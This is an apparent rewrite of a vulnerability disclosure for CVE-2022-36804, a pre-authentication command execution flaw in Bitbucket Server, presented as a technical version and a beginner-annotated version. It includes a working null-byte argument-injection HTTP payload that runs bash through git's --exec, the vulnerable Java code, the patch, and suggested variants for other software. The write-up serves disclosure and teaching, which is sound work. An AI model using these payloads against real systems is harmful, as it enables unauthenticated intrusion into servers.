Breaking Bitbucket: Pre Auth Remote Command Execution (CVE202236804)
An argument injection flaw in Bitbucket Server's archive API endpoint allowed an unauthenticated attacker to inject null bytes and pass arbitrary arguments to the git archive subcommand, ultimately achieving remote command execution via the --exec flag. Exploitation required a public repository and knowledge of its project key and repository slug.
Published on blog.assetnote.io
Often when performing application security research, we come across other researchers who have found critical vulnerabilities in software that can inspire us to dig deeper as well. This was the case when we read the blog post from William Bowling about his RCE finding in GitHub Enterprise.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Bitbucket Server (and Bitbucket Data Center) is Atlassian's on-premise source code management platform. It is typically deployed inside an organisation's own infrastructure and, unsurprisingly, leans heavily on git for many of its operations. That reliance on git is what made it an attractive target for this research: if user-controlled input can reach a git invocation, there may be room for argument injection.
The feature at the centre of this write-up is the repository archive API endpoint:
/rest/api/latest/projects/PROJECTKEY/repos/REPO/archive
This endpoint streams an archive of a repository's contents at a requested commit. Its API documentation lists a prefix parameter, which the researcher assumed maps to git's --prefix= argument in the archive subcommand. That assumption is what made the parameter a candidate for argument injection testing.
The research was inspired by William Bowling's blog post about an RCE in GitHub Enterprise. The question was whether the same methodology for discovering command execution could be replicated on other source code management platforms.
Setup
To get a research environment, the researcher set up a Docker container running Bitbucket Server using a pre-prepared image from Docker Hub (atlassian/bitbucket-server).
With a local instance running, the tooling was straightforward:
- Run pspy to log all processes created, with the specific aim of looking at every sink to the
gitcommand. - In parallel, perform actions inside Bitbucket that might trigger
git, starting by creating a repository as a user to build a testing playground for future calls that may invokegit. - Replace everything in all requests involving the created repository with a canary string,
PEWPEW, to determine whether the input ended up in the final executed command.
Because pspy logs every command executed by the process, spotting the canary in a spawned command line was relatively easy.
Finding it
Testing for a short amount of time turned up an argument injection within a git subcommand, but it had no security impact:
/rest/api/latest/projects/~USER/repos/repo1/browse?at=--help
That was promising but not exploitable, and the project was put on hold. When it was picked up again, the same methodology was applied, this time looking at the API endpoints for Bitbucket, and the command execution bug surfaced at the archive endpoint described above.
Looking at the API documentation for that endpoint, the researcher noticed the prefix parameter and assumed it mapped to --prefix= in the archive subcommand. To inject a new argument, the instinctive approach was to use null bytes. Providing the input padding%00--option%00padding produced an error along the lines of:
--option is not a option to git subcmd
That error confirmed the argument injection had succeeded.
Exploitation
Step 1: confirm argument injection
The prefix parameter accepted null bytes, and the injected --option was interpreted by git as a separate argument rather than as part of the prefix value. The error message returned by git proved the injection point was real.
Step 2: find a way from argument injection to command execution
The escalation came from functionality already present in the git archive subcommand, specifically the --exec argument. Git's documentation defines it as:
--exec=<git-upload-archive>
Used with --remote to specify the path to the git-upload-archive on the remote side.
At first glance this does not look like arbitrary command execution, since it expects a path to git-upload-archive, and it also requires --remote, which is typically a remote SSH repository. The researcher tested the command locally and extensively, and found that the following command:
git archive --prefix xd --exec='echo pew#' --remote=file:///tmp/ -- blah
transforms into:
execve('/bin/sh','-c','echo pew# /tmp')
The report shows this transformation without explaining the role of the #.
Step 3: build the payload for the archive endpoint
All that remained was to construct a payload for the archive API endpoint, combining the null-byte argument injection with the --exec and --remote behaviour. The final payload:
GET /rest/api/latest/projects/{projectKey}/repos/{repoSlug}/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/haced%23'%00--remote=file:///%00x HTTP/1.1
Host: bitbucket.demo
User-Agent: HACKZ
Content-Length: 3
xxd
The important parts:
prefix=x%00terminates the original prefix value with a null byte, so the following text becomes a new argument.--exec=/bin/bash+-c+'touch+/tmp/haced%23'sets the program git will execute. The%23is an encoded#, which comments out the rest of the shell command line.%00--remote=file:///supplies the--remoteargument that--execrequires, pointing at a local file URL.- The trailing
%00xcloses the injected argument list.
This achieves remote command execution without being authenticated to Bitbucket.
Preconditions
Although the vulnerability is exploitable pre-authentication, two conditions must hold:
- There must be a public repository within the Bitbucket Server instance.
- The attacker must know the
projectKeyandrepoSlugvalues.
Without these, the vulnerability cannot be exploited without authentication.
Root cause
Understanding why the null bytes worked required reverse engineering Atlassian's patch. The patch checked for null bytes in all indexes of the command argument passed to the class com.zaxxer.nuprocess.NuProcessBuilder. That was a major hint that this class was responsible for splitting the command on null bytes.
Reading through com.zaxxer.nuprocess.NuProcessBuilder confirmed the hypothesis. The library does not use ProcessBuilder or getRuntime().exec; it uses the native Java_java_lang_ProcessImpl_forkAndExec, which requires a char array as the command argument. Indexes inside the char array are separated by null bytes, and the way the prepareProcess function transformed the arguments meant that injecting null bytes created new indexes in that char array.
The flow, as illustrated in the write-up:
\x00 = {NULL}
["ONE","TWO","THREE","FOUR"] -> conv() (prepareProcess) -> "ONE{NULL}TWO{NULL}THREE{NULL}FOUR"
["git","sub","--safe=xyz","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--other"
exploited
["git","sub","--safe=xyz{NULL}--injected","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--injected{NULL}--other"
The vulnerable prepareProcess function:
private void prepareProcess(List < String > command, String[] environment, Path cwd) throws IOException {
String[] cmdarray = command.toArray(new String[0]);
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L71-L83
byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg: args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L86
byte[] envBlock = toEnvironmentBlock(environment);
createPipes();
try {
// createPipes() returns the parent ends of the pipes, but forkAndExec requires the child ends
int[] child_fds = {
stdinWidow,
stdoutWidow,
stderrWidow
};
if (JVM_MAJOR_VERSION >= 10) {
pid = com.zaxxer.[redacted].LibJava10.Java_java_lang_ProcessImpl_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
} else {
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/UNIXProcess.java#L247
// Native source code: https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566
pid = com.zaxxer.[redacted].LibJava8.Java_java_lang_UNIXProcess_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
}
} finally {
// If we call createPipes, even if launching the process then fails, we need to ensure
// the child side of the pipes are closed. The parent side will be closed in onExit
closePipes();
}
}
Atlassian's patch, which remediates the vulnerability:
private void ensureNoNullCharacters(final List<String> commands) {
for (final String command : commands) {
if (command.indexOf(0) >= 0) {
throw new IllegalArgumentException("Commands may not contain null characters");
}
}
}
Impact
An unauthenticated attacker can execute arbitrary commands on a Bitbucket Server instance, provided a public repository exists and the attacker knows its projectKey and repoSlug. All versions of Bitbucket Server and Data Center released after 6.10.17, including 7.0.0 and newer, are affected, meaning all instances running any version between 7.0.0 and 8.3.0 inclusive are affected.
Fix
Atlassian fixed the issue promptly and issued CVE-2022-36804. The patch adds an ensureNoNullCharacters check that rejects null bytes in command arguments, as shown above. The researcher considered the remediation details in Atlassian's advisory satisfactory and sufficient to prevent exploitation.
The disclosure timeline:
| Date | Event |
|---|---|
| Jul 19th, 2022 | RCE disclosed to Atlassian through BugCrowd |
| Jul 21st, 2022 | RCE triaged by BugCrowd |
| Jul 21st, 2022 | Atlassian confirms and awards 6K USD for the RCE |
| Aug 24th, 2022 | Atlassian creates CVE-2022-36804 and publishes an advisory |
| Aug 24th, 2022 | Atlassian provides a patched version to the public |
| Sep 15th, 2022 | Researcher notifies Atlassian of publication under the coordinated disclosure process |
Variants to test
- Other parameters that map to git flags. Take any endpoint that forwards a user value into a git subcommand and inject
%00--helpor%00--option%00padding. A positive result is a git error naming the injected option, as happened here with--option is not a option to git subcmd. - Null-byte splitting in other process wrappers. Any Java service using
com.zaxxer.nuprocess(or another library that builds a native char array) is worth testing with%00inside arguments. A positive result is a spawned process whose argument list contains an entry you did not supply as a separate parameter. --execplus--remoteon other git subcommands. Wherever an attacker controls an argument to a git command that supports--execand--remote, try--exec=/bin/bash -c 'id'with afile:///remote. A positive result is command output or a side effect such as a created file.- Canary tracing with pspy. Run
pspyagainst a local instance, replace request values with a unique string such asPEWPEW, and watch for it in spawned command lines. A positive result is the canary appearing in agitinvocation you can influence.
What happened, in plain words
Bitbucket Server is a piece of software made by Atlassian. Companies install it on their own computers (servers) to store and manage the source code their programmers write. Bitbucket Data Center is the same kind of product, built to run across several servers at once. Both of them rely heavily on a program called git, which is the standard tool for keeping track of changes in source code.
A security researcher found a way to make a Bitbucket Server run commands of the attacker's choosing, without logging in at all. The trick was to slip extra instructions into a value that Bitbucket passed on to git. Because of a quirk in how the underlying library handed those instructions to the operating system, the extra instructions were treated as separate commands rather than as harmless text. Atlassian fixed it quickly and gave it the identifier CVE-2022-36804.
The researcher was inspired by a blog post from William Bowling about a similar finding in GitHub Enterprise, another source code management product. The question was simple: if this way of finding command execution worked there, could it work on other platforms that manage source code? Bitbucket Server was chosen as the target because it is usually installed inside a company's own network and, obviously, uses git for many of its operations.
A few terms before we go further:
- Source code management platform: software that stores programmers' code, keeps a history of every change, and lets teams share and review work. Think of it as a shared filing cabinet with a very detailed logbook.
- On-premise: installed and run on the company's own machines, rather than rented from a cloud provider.
- Command execution: when an attacker can make a server run a program or instruction of their choosing. It is one of the most serious outcomes in security, because the attacker is then acting with the server's own powers.
- Pre-authentication: reachable before anyone logs in. No username, no password, no session needed.
Introduction
Security research often builds on other people's work. Reading William Bowling's post about a remote code execution (RCE) finding in GitHub Enterprise made the researcher wonder whether the same methodology could be replicated on other source code management platforms. RCE simply means running your own commands on someone else's machine from a distance.
Bitbucket Server was a good target: it is typically deployed on-premise and uses git for many operations inside the software. If any user-supplied value reaches a git command, there may be room to inject extra arguments into that command.
What the researcher found was an argument injection vulnerability. A command like git archive is made of the program name plus a list of arguments (options and values). Argument injection means the attacker can add their own arguments to that list, even though they were only supposed to supply a value. In this case the injected argument was --exec, which ultimately allowed arbitrary commands to be executed through git.
The vulnerability was possible because of the way the underlying process creation library handled null bytes. A null byte is a single byte with the value zero. In many programming languages it marks the end of a piece of text, much like a full stop marks the end of a sentence. If software treats a null byte as "the text stops here", anything after it can be read as a new, separate item.
All versions of Bitbucket Server and Data Center released after 6.10.17, including 7.0.0 and newer, are affected. That means every instance running any version between 7.0.0 and 8.3.0 inclusive is affected. Atlassian fixed it promptly and issued CVE-2022-36804. A CVE is a public catalogue number for a known security flaw, so people can look it up and track the fix.
Methodology
Methodology just means the plan of attack: how the researcher set about looking for the bug.
To have something to experiment on, the researcher set up a Docker container running Bitbucket Server, using a pre-prepared image from Docker Hub. A container is a lightweight, self-contained copy of a program and everything it needs to run, a bit like a lunchbox with the meal already inside. Docker Hub is an online library of such lunchboxes, and Atlassian publishes one for Bitbucket Server. Running it locally means you can break things without touching anyone's real system.
With a local instance running, the tooling was straightforward:
- Run pspy to log all processes created, with the specific aim of looking at every sink to the
gitcommand. - In parallel, perform actions inside Bitbucket that might trigger
git, starting by creating a repository as a user to build a testing playground for future calls that may invokegit. - Replace everything in all requests involving the created repository with a canary string,
PEWPEW, to determine whether the input ended up in the final executed command.
A few explanations:
- Process: a running program on a computer. When Bitbucket needs to do something with
git, it starts a new process for it. - pspy: a small tool that watches a Linux machine and prints every new process that starts, including the full command line. It is like a security camera for programs being launched.
- Sink: the place in the code where a value finally gets used, here the point where a
gitcommand is actually run. If you want to know whether your input reachesgit, the sink is where you look. - Repository: a project's folder of code plus its full history, managed by
git. - Canary string: a unique, made-up word you put into your input so you can spot it later. Like dye in water: if you see the colour downstream, you know the water flowed there.
PEWPEWwas chosen as that word.
Because pspy logs every command executed by the process, spotting the canary in a spawned command line was relatively easy. If PEWPEW appeared in a git command that Bitbucket launched, the researcher knew that input from the browser request had travelled all the way into the command line.
Finding it
Testing for a short amount of time turned up an argument injection within a git subcommand, but it had no security impact:
/rest/api/latest/projects/~USER/repos/repo1/browse?at=--help
Line by line:
/rest/api/latest/...is the start of a web address inside Bitbucket.restandapisignal that this is a machine-facing interface rather than a page for humans.projects/~USER/repos/repo1/browsepoints at a repository calledrepo1belonging to a user, and asks to browse it.?at=--helpis the interesting part. Everything after the?is a query parameter: a name (at) and a value (--help). The value--helpis a real option that many programs understand, meaning "print instructions and stop".
So the researcher sent --help as a value and it was treated by git as an option. That proved input could become an argument, but --help only prints text; it does not let anyone do anything harmful. Promising, but not exploitable, so the project was put on hold.
When it was picked up again, the same methodology was applied, this time looking at the API endpoints for Bitbucket. An API (application programming interface) is a set of web addresses a program offers so other programs can talk to it, like a service counter with numbered windows. An endpoint is one of those windows: a specific address that does one specific job.
The command execution bug surfaced at the archive endpoint:
/rest/api/latest/projects/PROJECTKEY/repos/REPO/archive
This endpoint streams an archive of a repository's contents at a requested commit. An archive here is a downloadable bundle of the project's files, like a zip file. A commit is one saved snapshot in the project's history. PROJECTKEY and REPO are placeholders for the project's short name and the repository's name.
Looking at the API documentation for that endpoint, the researcher noticed a parameter called prefix. A parameter is a named input you attach to a request, the same idea as the at value above. The researcher assumed prefix maps to git's --prefix= argument in the archive subcommand. In git archive, --prefix= puts a folder name in front of every file inside the archive, so the files unpack neatly into one folder instead of scattering.
To inject a new argument, the instinctive approach was to use null bytes. Providing the input padding%00--option%00padding produced an error along the lines of:
--option is not a option to git subcmd
What happened there: %00 is how a null byte is written inside a web address, because a raw zero byte cannot travel safely in a URL. The value padding%00--option%00padding was meant to be one harmless prefix. Instead, the null bytes split it into three pieces: padding, --option, and padding. Git saw --option as a separate argument and complained that it is not a valid option for that subcommand. That complaint was the proof: the argument injection had succeeded.
Exploitation
Exploitation means turning a confirmed weakness into actual impact. Having argument injection is nice, but the question was: now what? Can it be escalated to remote command execution?
Step 1: confirm argument injection
The prefix parameter accepted null bytes, and the injected --option was interpreted by git as a separate argument rather than as part of the prefix value. The error message returned by git proved the injection point was real.
Step 2: find a way from argument injection to command execution
The escalation came from functionality already present in the git archive subcommand, specifically the --exec argument. Git's documentation defines it as:
--exec=<git-upload-archive>
Used with --remote to specify the path to the git-upload-archive on the remote side.
Line by line:
--exec=<git-upload-archive>is the option name and the value it expects. The angle brackets are a placeholder meaning "put a path here".- The second line explains that it is used together with
--remote, and that the value should be the path to a helper program calledgit-upload-archiveon the remote side.
At first glance this does not look like arbitrary command execution, since it expects a path to git-upload-archive, and it also requires --remote, which is typically a remote SSH repository. SSH is a way to log in to another computer securely over a network. So the option seems to be about fetching from another machine, not about running commands.
The researcher tested the command locally and extensively, and found that the following command:
git archive --prefix xd --exec='echo pew#' --remote=file:///tmp/ -- blah
transforms into:
execve('/bin/sh','-c','echo pew# /tmp')
Line by line for the first block:
git archiveis the subcommand that builds an archive.--prefix xdsets the folder prefix toxd.--exec='echo pew#'sets the program git will run on the remote side. The single quotes keep the whole value together as one argument.--remote=file:///tmp/says the remote is a folder on the same machine,/tmp/, rather than another computer.file://is a URL scheme meaning "a file on this machine".-- blahmarks the end of options; everything after--is treated as a plain value, not an option.
Line by line for the second block:
execveis the operating system call that starts a program. It takes the program to run, then its arguments.'/bin/sh'is the shell, the program that reads and runs command lines.'-c'tells the shell that the next item is a command to run.'echo pew# /tmp'is that command.echo pewprints the wordpew. The#starts a comment in shell syntax, so everything after it, here/tmp, is ignored.
The report shows this transformation without explaining the role of the #. In other words, git built a shell command line out of the pieces, and the # neatly discarded the leftover text that would otherwise have broken it.
Step 3: build the payload for the archive endpoint
All that remained was to construct a payload for the archive API endpoint, combining the null-byte argument injection with the --exec and --remote behaviour. A payload is the actual request an attacker sends to trigger the bug. The final payload:
GET /rest/api/latest/projects/{projectKey}/repos/{repoSlug}/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/haced%23'%00--remote=file:///%00x HTTP/1.1
Host: bitbucket.demo
User-Agent: HACKZ
Content-Length: 3
xxd
Line by line:
GETis the type of request: "give me this thing". It is the same kind of request a browser makes when you open a page.- The long path is the archive endpoint, with
{projectKey}and{repoSlug}standing for the project's short name and the repository's name. ?prefix=x%00...starts the query string. Theprefixparameter is where the injection goes.Host: bitbucket.demonames the server being contacted.bitbucket.demois a made-up example name.User-Agent: HACKZis a label the client sends to identify itself. Here it is just a marker.Content-Length: 3says the request body is three bytes long.- The empty line separates the request headers from the body.
xxdis the body, three characters long, matching the length above.
The important parts of the query string:
prefix=x%00terminates the original prefix value with a null byte, so the following text becomes a new argument.--exec=/bin/bash+-c+'touch+/tmp/haced%23'sets the program git will execute. In a URL,+stands for a space, so this reads as/bin/bash -c 'touch /tmp/haced#'.touchcreates an empty file. The%23is an encoded#, which comments out the rest of the shell command line.%00--remote=file:///supplies the--remoteargument that--execrequires, pointing at a local file URL.- The trailing
%00xcloses the injected argument list.
This achieves remote command execution without being authenticated to Bitbucket. The command creates a file at /tmp/haced.
Preconditions
Although the vulnerability is exploitable pre-authentication, two conditions must hold:
- There must be a public repository within the Bitbucket Server instance.
- The attacker must know the
projectKeyandrepoSlugvalues.
Without these, the vulnerability cannot be exploited without authentication. A public repository is one that anyone can view without logging in. The two names are needed because the endpoint has to point at a real repository before it will do anything.
Root cause
Root cause means the underlying reason the bug exists, as opposed to the surface symptom. Understanding why the null bytes worked required reverse engineering Atlassian's patch. Reverse engineering here means taking the fixed version and comparing it with the old one to see what changed, the way you might compare two versions of a recipe to spot the added ingredient.
The patch checked for null bytes in all indexes of the command argument passed to the class com.zaxxer.nuprocess.NuProcessBuilder. A class is a named block of code in a program; NuProcessBuilder is a library that starts other programs. That was a major hint that this class was responsible for splitting the command on null bytes.
Reading through com.zaxxer.nuprocess.NuProcessBuilder confirmed the hypothesis. The library does not use ProcessBuilder or getRuntime().exec; it uses the native Java_java_lang_ProcessImpl_forkAndExec, which requires a char array as the command argument. A char array is a block of memory holding characters one after another, like a row of boxes. Indexes inside the char array are separated by null bytes, and the way the prepareProcess function transformed the arguments meant that injecting null bytes created new indexes in that char array.
The flow, as illustrated in the write-up:
\x00 = {NULL}
["ONE","TWO","THREE","FOUR"] -> conv() (prepareProcess) -> "ONE{NULL}TWO{NULL}THREE{NULL}FOUR"
["git","sub","--safe=xyz","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--other"
exploited
["git","sub","--safe=xyz{NULL}--injected","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--injected{NULL}--other"
Line by line:
\x00 = {NULL}defines the notation: a null byte is written\x00and shown as{NULL}.- The first conversion shows a normal list of four words being joined into one long string with null bytes between them. The null bytes are the separators.
- The second conversion shows a real command:
git,sub,--safe=xyz,--other, joined the same way. exploitedmarks the case where the attacker's input already contains a null byte.- The last line shows the result: the value
--safe=xyz{NULL}--injectedwas meant to be one argument, but because it contains a null byte, it becomes two:--safe=xyzand--injected. The attacker has created a new argument out of thin air.
The vulnerable prepareProcess function:
private void prepareProcess(List < String > command, String[] environment, Path cwd) throws IOException {
String[] cmdarray = command.toArray(new String[0]);
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L71-L83
byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg: args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L86
byte[] envBlock = toEnvironmentBlock(environment);
createPipes();
try {
// createPipes() returns the parent ends of the pipes, but forkAndExec requires the child ends
int[] child_fds = {
stdinWidow,
stdoutWidow,
stderrWidow
};
if (JVM_MAJOR_VERSION >= 10) {
pid = com.zaxxer.[redacted].LibJava10.Java_java_lang_ProcessImpl_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
} else {
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/UNIXProcess.java#L247
// Native source code: https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566
pid = com.zaxxer.[redacted].LibJava8.Java_java_lang_UNIXProcess_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
}
} finally {
// If we call createPipes, even if launching the process then fails, we need to ensure
// the child side of the pipes are closed. The parent side will be closed in onExit
closePipes();
}
}
What this code does, in plain words:
private void prepareProcess(...)is the function that prepares a command before the operating system runs it.List<String> commandis the list of words making up the command,environmentholds environment variables (settings passed to the program), andcwdis the working directory.String[] cmdarray = command.toArray(new String[0]);turns the list into a plain array of strings, so it can be indexed by position.byte[][] args = new byte[cmdarray.length - 1][];creates a place for the arguments only, skipping the first item, which is the program name itself.int size = args.length;starts the size count with one byte per argument, because a null byte will be added after each one.- The
forloop converts each argument to bytes and adds its length to the total size. byte[] argBlock = new byte[size];allocates one block of memory big enough for all arguments and their separators.- The second
forloop copies each argument into that block and advances the position by the argument's length plus one, leaving a gap for the null byte. The comment notes that the null bytes do not need to be written explicitly, because the block starts out as zeros. byte[] envBlock = toEnvironmentBlock(environment);does the same for environment variables.createPipes();sets up pipes, which are channels for passing input and output between programs, like a tube between two people.child_fdslists the three standard channels: standard input, standard output and standard error.fdstands for file descriptor, a number the operating system uses to refer to an open channel.- The
if (JVM_MAJOR_VERSION >= 10)branch picks the right native call depending on the Java version.JVMis the Java Virtual Machine, the program that runs Java code.forkAndExecis the operating system operation that creates a new process and runs a program in it. toCString(...)converts a Java string into the C-style string the native call expects.argBlock, args.lengthpasses the block of arguments and how many there are. This is the crucial part: the native side counts arguments by counting null bytes, so a null byte hidden inside a value creates an extra argument.- The
finallyblock closes the pipes whether or not the launch succeeded, so nothing is left open.
Atlassian's patch, which remediates the vulnerability:
private void ensureNoNullCharacters(final List<String> commands) {
for (final String command : commands) {
if (command.indexOf(0) >= 0) {
throw new IllegalArgumentException("Commands may not contain null characters");
}
}
}
Line by line:
private void ensureNoNullCharacters(...)is a new check that runs before a command is built.for (final String command : commands)goes through every word in the command list, one at a time.if (command.indexOf(0) >= 0)asks whether the word contains a null byte.indexOf(0)looks for the zero character and returns its position, or a negative number if it is not there.throw new IllegalArgumentException("Commands may not contain null characters");refuses the command outright with a clear error message.
In short, the patch adds a check that rejects null bytes in command arguments.
Impact
An unauthenticated attacker can execute arbitrary commands on a Bitbucket Server instance, provided a public repository exists and the attacker knows its projectKey and repoSlug. All versions of Bitbucket Server and Data Center released after 6.10.17, including 7.0.0 and newer, are affected, meaning all instances running any version between 7.0.0 and 8.3.0 inclusive are affected.
Fix
Atlassian fixed the issue promptly and issued CVE-2022-36804. The patch adds an ensureNoNullCharacters check that rejects null bytes in command arguments, as shown above. The researcher considered the remediation details in Atlassian's advisory satisfactory and sufficient to prevent exploitation. An advisory is the official notice a vendor publishes about a security flaw, including which versions are affected and what to do about it.
The disclosure timeline:
| Date | Event |
|---|---|
| Jul 19th, 2022 | RCE disclosed to Atlassian through BugCrowd |
| Jul 21st, 2022 | RCE triaged by BugCrowd |
| Jul 21st, 2022 | Atlassian confirms and awards 6K USD for the RCE |
| Aug 24th, 2022 | Atlassian creates CVE-2022-36804 and publishes an advisory |
| Aug 24th, 2022 | Atlassian provides a patched version to the public |
| Sep 15th, 2022 | Researcher notifies Atlassian of publication under the coordinated disclosure process |
A few terms from the table:
- BugCrowd is a bug bounty platform: a website where companies invite researchers to report flaws and pay for good ones. A bug bounty is a reward programme for finding and reporting security bugs responsibly.
- Triaged means the report was reviewed and accepted as a genuine issue worth investigating.
- Coordinated disclosure is the practice of telling the vendor first, giving them time to fix, and only then publishing details so users can protect themselves.
Variants to test
These are the general lessons a beginner can take away and try on other software.
- Other parameters that map to git flags. Take any endpoint that forwards a user value into a git subcommand and inject
%00--helpor%00--option%00padding. A positive result is a git error naming the injected option, as happened here with--option is not a option to git subcmd. - Null-byte splitting in other process wrappers. Any Java service using
com.zaxxer.nuprocess(or another library that builds a native char array) is worth testing with%00inside arguments. A positive result is a spawned process whose argument list contains an entry you did not supply as a separate parameter. --execplus--remoteon other git subcommands. Wherever an attacker controls an argument to a git command that supports--execand--remote, try--exec=/bin/bash -c 'id'with afile:///remote. A positive result is command output or a side effect such as a created file.- Canary tracing with pspy. Run
pspyagainst a local instance, replace request values with a unique string such asPEWPEW, and watch for it in spawned command lines. A positive result is the canary appearing in agitinvocation you can influence.
Conclusion
When performing security research, it is valuable to understand some of the methodologies that have led to finding critical vulnerabilities in other enterprise software. By applying these methodologies across different software, you can often find similar critical vulnerabilities.
Due to being inspired by William Bowling's blog post and adopting a similar methodology, the researcher was able to discover a critical pre-authentication remote command execution vulnerability in Bitbucket Server. Customers of the Attack Surface Management platform were the first to know when this vulnerability affected them.
Glossary
- Advisory: the official notice a vendor publishes about a security flaw, including affected versions and remediation.
- API (application programming interface): a set of web addresses a program offers so other programs can talk to it.
- Argument: one word or option in a command line, such as
--prefixor a value. - Argument injection: slipping extra arguments into a command that the attacker was not supposed to control.
- Bitbucket Data Center: the multi-server edition of Bitbucket Server.
- Bitbucket Server: Atlassian's on-premise source code management product.
- Bug bounty: a programme that pays researchers for responsibly reporting security bugs.
- BugCrowd: a bug bounty platform where companies receive vulnerability reports.
- Canary string: a unique made-up word placed in input so it can be spotted later in logs or commands.
- Char array: a block of memory holding characters one after another.
- Class: a named block of code in a program.
- Command execution: making a server run a program or instruction of the attacker's choosing.
- Commit: one saved snapshot in a project's history.
- Container: a lightweight, self-contained copy of a program and everything it needs to run.
- Coordinated disclosure: telling the vendor first, allowing time to fix, then publishing details.
- CVE: a public catalogue number for a known security flaw.
- Docker Hub: an online library of pre-prepared container images.
- Endpoint: one specific web address that does one specific job.
- Environment variables: settings passed to a program when it starts.
- execve: the operating system call that starts a program.
- File descriptor (fd): a number the operating system uses to refer to an open channel such as input or output.
- forkAndExec: the operating system operation that creates a new process and runs a program in it.
- git: the standard tool for tracking changes in source code.
- git archive: the git subcommand that builds a downloadable bundle of a repository's files.
- JVM (Java Virtual Machine): the program that runs Java code.
- Null byte: a byte with the value zero, often used to mark the end of text.
- Parameter: a named input attached to a request.
- Payload: the actual request an attacker sends to trigger a bug.
- Pipes: channels for passing input and output between programs.
- Process: a running program on a computer.
- pspy: a tool that logs every new process started on a Linux machine, including its command line.
- Public repository: a repository anyone can view without logging in.
- Query parameter: a name and value after the
?in a web address. - RCE (remote code execution): running your own commands on someone else's machine from a distance.
- Reverse engineering: comparing a fixed version with an old one to understand what changed.
- Sink: the place in code where a value finally gets used, such as where a command is run.
- Source code management platform: software that stores code, keeps a history of changes, and lets teams share work.
- SSH: a way to log in to another computer securely over a network.
- Subcommand: a word after a program name that selects one of its features, such as
archiveingit archive. - Triaged: reviewed and accepted as a genuine issue worth investigating.
- URL encoding: writing special characters in a web address using
%and two digits, such as%00for a null byte and%23for#.